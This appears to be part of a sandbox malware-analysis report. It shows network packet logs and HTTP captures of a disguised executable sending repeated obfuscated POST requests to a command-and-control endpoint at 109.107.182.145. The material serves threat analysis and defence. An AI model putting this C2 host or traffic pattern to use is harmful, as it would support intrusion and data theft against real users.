Apr 20, 2024 00:43:52.696367025 CEST	80	49855	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:52.696438074 CEST	49855	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:52.753792048 CEST	49857	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:52.874161005 CEST	80	49856	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:52.874284983 CEST	49856	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:52.874401093 CEST	49856	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:52.882589102 CEST	80	49855	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:52.882683992 CEST	49855	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:53.015192986 CEST	80	49857	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:53.015278101 CEST	49857	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:53.015419006 CEST	49857	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:53.134265900 CEST	80	49856	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:53.134284973 CEST	80	49856	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:53.134486914 CEST	49856	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:53.276644945 CEST	80	49857	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:53.276684046 CEST	80	49857	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:53.276890993 CEST	49857	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:53.393001080 CEST	80	49856	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:53.393017054 CEST	80	49856	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:53.401390076 CEST	80	49856	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:53.535335064 CEST	49856	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:53.538182974 CEST	80	49857	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:53.544002056 CEST	80	49857	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:53.655148983 CEST	49856	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:53.655339956 CEST	49857	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:53.655508041 CEST	49858	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:53.913670063 CEST	80	49856	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:53.913753986 CEST	49856	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:53.914191008 CEST	80	49858	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:53.914262056 CEST	49858	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:53.914395094 CEST	49858	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:53.916601896 CEST	80	49857	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:53.916667938 CEST	49857	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:54.172873020 CEST	80	49858	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:54.172925949 CEST	80	49858	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:54.173116922 CEST	49858	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:54.431802988 CEST	80	49858	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:54.438055038 CEST	80	49858	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:54.535358906 CEST	49858	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:54.564292908 CEST	49859	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:54.825917006 CEST	80	49859	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:54.826102018 CEST	49859	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:54.826199055 CEST	49859	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:55.088229895 CEST	80	49859	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:55.088253021 CEST	80	49859	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:55.088462114 CEST	49859	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:55.350060940 CEST	80	49859	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:55.363457918 CEST	80	49859	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:55.410274029 CEST	49859	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:55.504072905 CEST	49859	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:55.504549980 CEST	49860	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:55.766922951 CEST	80	49859	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:55.767035961 CEST	80	49860	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:55.767086983 CEST	49859	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:55.767119884 CEST	49860	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:55.767292976 CEST	49860	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:56.028625011 CEST	80	49860	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:56.028645992 CEST	80	49860	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:56.028892994 CEST	49860	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:56.290571928 CEST	80	49860	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:56.297125101 CEST	80	49860	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:56.347773075 CEST	49860	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:56.421685934 CEST	49860	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:56.422053099 CEST	49861	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:56.680475950 CEST	80	49861	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:56.680568933 CEST	49861	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:56.680737019 CEST	49861	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:56.683147907 CEST	80	49860	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:56.683238983 CEST	49860	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:56.938837051 CEST	80	49861	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:56.938898087 CEST	80	49861	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:56.939290047 CEST	49861	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:57.197552919 CEST	80	49861	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:57.204602957 CEST	80	49861	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:57.254044056 CEST	49861	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:57.330101967 CEST	49861	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:57.330421925 CEST	49862	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:57.589339972 CEST	80	49861	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:57.589435101 CEST	49861	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:57.592588902 CEST	80	49862	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:57.592767954 CEST	49862	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:57.592932940 CEST	49862	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:57.854324102 CEST	80	49862	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:57.854352951 CEST	80	49862	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:57.854532003 CEST	49862	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:58.116223097 CEST	80	49862	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:58.116249084 CEST	80	49862	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:58.123379946 CEST	80	49862	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:58.175981998 CEST	49862	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:58.743638992 CEST	49863	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:58.746083975 CEST	49862	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:59.002181053 CEST	80	49863	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:59.002252102 CEST	49863	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:59.004156113 CEST	49864	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:59.005036116 CEST	49863	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:59.007636070 CEST	80	49862	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:59.007688999 CEST	49862	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:59.262475967 CEST	80	49864	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:59.266021013 CEST	49864	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:44:00.743849039 CEST	49864	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:44:01.002341032 CEST	80	49864	109.107.182.145	192.168.2.4
Apr 20, 2024 00:44:01.002367020 CEST	80	49864	109.107.182.145	192.168.2.4
Apr 20, 2024 00:44:01.050915956 CEST	49864	80	192.168.2.4	109.107.182.145

HTTP Request Dependency Graph

109.107.182.145

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:42:09.487447977 CEST	258	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 344 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:42:09.746531963 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:42:09.747986078 CEST	344	OUT	Data Raw: 00 06 04 01 06 01 04 07 05 06 02 01 02 01 01 03 00 0b 05 09 02 0c 03 09 07 0f 0d 01 03 07 01 52 0d 51 04 0e 03 01 03 07 0c 06 05 03 07 01 06 06 03 03 0f 59 0f 04 05 07 06 07 06 06 05 05 00 0f 03 53 0f 00 07 03 01 07 0b 0f 0c 54 0f 0d 0d 04 05 0d Data Ascii: RQYSTTR\L}ThNvOva}BvKZ\|itlhptDxB^ZzpP\|}QRtc^~e~V@x}PNru
Apr 20, 2024 00:42:10.218797922 CEST	292	IN	Data Raw: 01 41 5b 7d 6e 5e 50 62 06 57 69 0a 0c 08 52 5d 60 4a 5d 60 07 58 57 61 6d 59 7c 5d 72 65 54 5e 55 04 6c 64 68 52 63 0a 60 59 53 71 63 4b 7c 5e 40 5f 68 06 6f 45 55 74 4d 02 69 04 5a 42 60 07 7b 46 51 56 64 42 50 5e 67 4d 56 70 7a 4f 62 7f 6c 5f Data Ascii: A[}n^PbWiR]`J]`XWamY\|]reT^UldhRc`YSqcK\|^@_hoEUtMiZB`{FQVdBP^gMVpzObl_zQ{~hg~J}XP\QqEQbWAZ[YZXbUSZax`aYq[VQeUL]^R``_UUZXlgz@{T]U[{ETaSHQUKlaeFT~f\hgx{Rt\|^p~gf]yzx]laFS}d]Rd^SsMnUTag]p]_QxaWtXdE}f\|^\|qrVcaDP~f[S
Apr 20, 2024 00:42:10.218857050 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Apr 20, 2024 00:42:10.218895912 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:42:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 35 36 63 0d 0a 56 4a 7d 59 78 53 55 03 7b 61 68 02 7c 72 7f 01 7c 77 6c 54 6b 60 57 08 7a 60 7c 05 69 62 56 02 77 4d 61 42 7a 4f 79 4a 76 66 59 5b 7c 71 78 01 55 4b 72 50 63 5b 68 58 6b 5c 75 05 68 64 75 51 78 75 74 09 7d 5a 78 59 76 5b 72 5e 74 61 7d 00 7f 4f 58 00 6a 6c 7f 55 7f 77 7f 44 75 4c 7b 06 7c 5c 6d 49 7e 73 72 5e 6f 5e 6c 04 6f 01 68 01 78 6d 7f 49 79 5b 73 59 7b 63 5b 5a 7d 60 60 49 7b 74 60 44 7e 62 7f 07 62 62 67 59 7a 51 41 5b 7d 74 7f 55 68 71 50 52 75 52 5d 5b 78 52 7c 02 74 4e 7a 43 7b 71 65 04 69 55 66 02 78 61 65 5b 75 4d 63 01 61 5f 5e 41 76 61 7a 50 7e 5d 7a 06 77 61 7d 01 76 66 6f 50 7f 42 65 01 77 6f 60 04 68 63 6c 00 78 6c 51 03 7b 06 76 02 6b 6d 63 51 74 77 6c 07 69 61 7d 50 7e 6e 78 54 6f 54 66 4f 7e 5b 7a 5b 7b 5d 46 51 6b 0a 70 41 69 60 70 0c 6a 67 6e 05 6f 7e 7b 02 78 61 6b 5b 7f 61 55 00 6a 67 67 4f 68 06 79 40 7a 70 7f 5f 6a 5b 7c 48 76 70 75 51 7b 5c 79 06 75 76 68 00 7e 58 64 02 7e 76 5f 4f 76 72 55 44 7f 4c 7d 42 7c 77 7a 0c 7b 48 70 41 7e 73 7f 47 76 72 69 4c 77 71 69 4a 7c 5f 54 46 7d 6c 78 08 7d 67 59 06 75 5f 6b 49 78 5c 79 03 7c 70 6d 03 78 59 60 01 7b 67 5a 4f 7b 43 55 49 7a 4c 6c 02 78 63 50 4f 7f 5e 5a 01 78 77 56 02 7e 62 55 03 75 5f 52 47 7e 6c 55 07 7d 67 68 0b 7c 71 79 08 75 42 6c 05 7a 7c 64 05 77 70 54 40 7a 4f 6d 00 7e 42 58 41 7b 71 7a 48 75 73 63 02 75 61 74 07 76 71 7a 41 7e 70 76 04 74 5c 7d 04 76 65 7c 0b 7e 6c 7d 06 74 42 7c 4c 7e 63 78 01 7b 7c 55 07 78 70 7e 4a 7f 6d 78 0d 77 59 74 03 7e 62 6e 42 7e 43 5d 09 78 53 76 04 7e 72 61 03 7d 70 64 0b 7f 7c 68 0c 7f 70 5a 0d 7d 59 66 06 7a 6d 59 44 7b 62 68 01 7f 5f 67 06 7c 77 55 0c 7f 60 75 0d 79 73 74 42 7e 5c 78 03 74 5d 57 08 7a 61 5b 03 76 48 60 4a 7e 66 7c 07 7e 66 5b 0b 77 5c 51 03 7c 72 65 4c 7c 67 50 0c 79 66 60 4f 7e 5d 63 04 75 62 5f 4f 74 5f 71 47 7f 5f 66 00 7e 6c 70 43 7d 67 73 06 75 5f 6b 00 7b 62 5f 04 7d 5e 5b 03 79 67 78 4c 78 49 70 06 78 53 77 4b 78 72 70 05 78 73 6e 4e 7b 5d 4e 5a 6f 59 78 06 6a 62 7b 02 62 71 6c 01 7e 42 7b 02 7c 67 52 40 68 5f 65 09 61 6f 73 5a 7b 0a 64 49 63 73 6e 43 79 61 65 4a 69 7f 62 5f 7a 5c 79 05 5c 07 0f 7d 62 60 67 7b 5a 4c 7e 4a 78 59 6a 40 63 5c 7a 5c 76 4b 70 41 7f 0a 7a 58 63 7c 70 4f 68 05 70 01 79 6c 67 4a 7b 60 66 00 6b 53 70 0d 76 77 7c 05 7d 62 50 0d 7a 53 59 51 66 6e 06 5e 6a 04 66 44 53 63 04 54 61 55 7f 0b 69 6c 7f 52 50 5e 5b 43 51 7e 78 5b 55 04 67 76 53 72 0b 00 69 6b 7c 08 52 59 76 55 6e 5a 55 5f 69 04 67 44 70 5e 47 51 6e 61 76 5f 62 76 63 5f 7d 5f 78 06 7f 76 76 52 74 62 56 59 7f 61 65 01 7c 74 7e 4e 79 66 6f 53 69 5d 67 00 76 71 6a 5e 63 71 6d 59 7e 5b 40 58 6a 0a 63 4f 53 74 4a 02 62 07 5e 45 6d 05 72 5c 50 6c 6e 5f 55 00 68 5d 79 5a 70 01 7b 6a 06 49 78 72 70 44 7b 63 54 43 7c 60 70 5a 7a 70 7f 5d 69 61 0f 40 5a 7d 63 5e 52 6f 03 54 6b 01 5d 08 57 66 7d 0f 71 53 08 5e 56 55 5d 5d 5d 7c 65 51 7d 5c 43 59 69 0a 65 40 56 72 4b 00 62 05 5a 46 60 06 7f 5a 63 07 5b 4f 53 5d 7a 01 70 5d 5c 59 5a 02 73 56 50 6f 75 5c 75 7b 73 5b 6b 60 00 44 54 70 60 5c 54 63 06 55 51 54 6f 57 58 64 00 43 61 04 0e 53 69 6a 7f 0e 7c 52 53 74 79 5f 47 5e 68 06 67 4e 51 7f 41 08 6a 06 5d 4d 6b 00 7d 58 6f 0b 5e 45 54 5d 04 59 53 62 67 5a 7c 5a 7c 70 6b 63 09 41 6e 05 55 5d 79 5f 42 58 63 05 66 4e 57 72 48 02 62 00 5d 47 6b 00 7f 41 54 65 0d 08 5a 58 5e 77 50 04 62 59 7b 59 5c 50 60 64 74 51 7f 74 78 5e 62 61 Data Ascii: 56cVJ}YxSU{ah\|r\|wlTk`Wz`\|ibVwMaBzOyJvfY[\|qxUKrPc[hXk\uhduQxut}ZxYv[r^ta}OXjlUwDuL{\|\mI~sr^o^lohxmIy[sY{c[Z}``I{t`D~bbbgYzQA[}tUhqPRuR][xR\|tNzC{qeiUfxae[uMca_^AvazP~]zwa}vfoPBewo`hclxlQ{vkmcQtwlia}P~nxToTfO~[z[{]FQkpAi`pjgno~{xak[aUjggOhy@zp_j[\|HvpuQ{\yuvh~Xd~v_OvrUDL}B\|wz{HpA~sGvriLwqiJ\|_TF}lx}gYu_kIx\y\|pmxY`{gZO{CUIzLlxcPO^ZxwV~bUu_RG~lU}gh\|qyuBlz\|dwpT@zOm~BXA{qzHuscuatvqzA~pvt\}ve\|~l}tB\|L~cx{\|Uxp~JmxwYt~bnB~C]xSv~ra}pd\|hpZ}YfzmYD{bh_g\|wU`uystB~\xt]Wza[vH`J~f\|~f[w\Q\|reL\|gPyf`O~]cub_Ot_qG_f~lpC}gsu_k{b_}^[ygxLxIpxSwKxrpxsnN{]NZoYxjb{bql~B{\|gR@h_eaosZ{dIcsnCyaeJib_z\y\}b`g{ZL~JxYj@c\z\vKpAzXc\|pOhpylgJ{`fkSpvw\|}bPzSYQfn^jfDScTaUilRP^[CQ~x[UgvSrik\|RYvUnZU_igDp^GQnav_bvc_}_xvvRtbVYae\|t~NyfoSi]gvqj^cqmY~[@XjcOStJb^Emr\Pln_Uh]yZp{jIxrpD{cTC\|`pZzp]ia@Z}c^RoTk]Wf}qS^VU]]]\|eQ}\CYie@VrKbZF`Zc[OS]zp]\YZsVPou\u{s[k`DTp`\TcUQToWXdCaSij\|RSty_G^hgNQAj]Mk}Xo^ET]YSbgZ\|Z\|pkcAnU]y_BXcfNWrHb]GkATeZX^wPbY{Y\P`dtQtx^ba
Apr 20, 2024 00:42:10.469775915 CEST	234	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 384 Expect: 100-continue
Apr 20, 2024 00:42:10.728586912 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:42:10.728864908 CEST	384	OUT	Data Raw: 5f 5a 5b 5f 54 5d 58 57 5d 56 5a 59 52 51 56 54 54 56 5c 5c 50 50 53 5e 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: _Z[_T]XW]VZYRQVTTV\\PPS^W^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R'$= 9R$%8? 7+:6&7!&Q*,,Z 'R,$.G#$Z-
Apr 20, 2024 00:42:10.994282007 CEST	349	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:42:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 39 38 0d 0a 09 1a 24 5b 3e 5c 25 0b 37 1c 3b 01 3b 2f 33 0a 29 21 0c 59 39 31 29 5b 2a 3f 0a 12 2b 3e 00 0a 3e 20 24 5b 33 32 33 07 24 2f 26 55 2c 2a 20 5a 01 11 27 40 30 29 34 1c 27 23 0b 02 26 30 03 06 32 03 26 1b 33 16 36 1e 3e 3c 29 54 30 2b 38 5a 29 01 2a 55 3f 3f 33 0a 27 2c 20 0c 36 1e 20 50 0c 10 38 51 3e 32 3f 52 31 02 3b 55 31 06 35 1e 23 10 28 51 26 01 0d 53 21 34 3f 14 3c 32 3d 06 28 2e 3f 02 23 22 2c 58 33 22 3f 0a 28 08 22 5e 2c 0f 20 54 02 3d 5a 50 0d 0a 30 0d 0a 0d 0a Data Ascii: 98$[>\%7;;/3)!Y91)[?+>> $[323$/&U, Z'@0)4'#&02&36><)T0+8Z)*U??3', 6 P8Q>2?R1;U15#(Q&S!4?<2=(.?#",X3"?("^, T=ZP0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:42:10.810338020 CEST	235	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2564 Expect: 100-continue
Apr 20, 2024 00:42:11.072000027 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:42:11.575651884 CEST	2564	OUT	Data Raw: 5a 51 5e 5a 54 57 58 57 5d 56 5a 59 52 58 56 5a 54 57 5c 5e 50 55 53 5c 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: ZQ^ZTWXW]VZYRXVZTW\^PUS\W^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R$0?& 9'3?%(+]7;V(\8"!U"".T)?,7?$..G#$Z-
Apr 20, 2024 00:42:11.845197916 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:42:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0
Apr 20, 2024 00:42:11.855978966 CEST	234	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 384 Expect: 100-continue
Apr 20, 2024 00:42:12.117358923 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:42:12.173356056 CEST	384	OUT	Data Raw: 5f 53 5b 5e 51 5d 5d 53 5d 56 5a 59 52 5c 56 55 54 57 5c 59 50 51 53 59 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: _S[^Q]]S]VZYR\VUTW\YPQSYW^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R$',)D4"'##17Y4U(9(",-W#:+?84?#V,$.G#$Z-1
Apr 20, 2024 00:42:12.444468975 CEST	349	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:42:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 39 38 0d 0a 09 1a 24 5f 2a 14 00 52 23 0c 3c 10 3b 2f 2b 0f 3e 32 36 5f 2e 21 29 1c 2a 3c 38 5b 2a 2d 3e 0b 3f 55 27 01 30 31 20 16 27 05 26 50 2c 3a 20 5a 01 11 27 43 33 5f 28 54 27 0d 0b 02 33 09 25 07 32 04 35 04 33 16 32 56 3d 3c 39 55 25 28 1a 11 28 2b 31 0f 2b 06 2f 43 25 02 2c 0c 20 34 20 50 0c 10 3b 0c 3d 0c 2f 51 24 3f 3c 0c 25 11 26 0a 37 07 27 0e 32 01 2f 50 36 34 2f 5e 28 0f 3a 14 28 03 30 59 35 0b 30 5a 24 0f 0a 53 28 08 22 5e 2c 0f 20 54 02 3d 5a 50 0d 0a 30 0d 0a 0d 0a Data Ascii: 98$_R#<;/+>26_.!)<8[*->?U'01 '&P,: Z'C3_(T'3%2532V=<9U%((+1+/C%, 4 P;=/Q$?<%&7'2/P64/^(:(0Y50Z$S("^, T=ZP0
Apr 20, 2024 00:42:12.454757929 CEST	235	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue
Apr 20, 2024 00:42:12.716178894 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:42:12.834356070 CEST	2568	OUT	Data Raw: 5a 57 5b 5f 54 5e 58 56 5d 56 5a 59 52 5c 56 5b 54 5c 5c 5a 50 50 53 5e 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: ZW[_T^XV]VZYR\V[T\\ZPPS^W^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R$3<"4:>3X18?] ; (\ "?-T#!&=; ,:.G#$Z-1
Apr 20, 2024 00:42:13.104340076 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:42:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:42:12.172900915 CEST	235	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 1440 Expect: 100-continue
Apr 20, 2024 00:42:12.436400890 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:42:12.437046051 CEST	1440	OUT	Data Raw: 5f 50 5e 5d 54 5d 5d 51 5d 56 5a 59 52 5c 56 54 54 52 5c 59 50 5e 53 5a 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: _P^]T]]Q]VZYR\VTTR\YP^SZW^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R$Z&?=7=3#(_2+/X4^#W(#X!2 :V=+#'9$.G#$Z-1
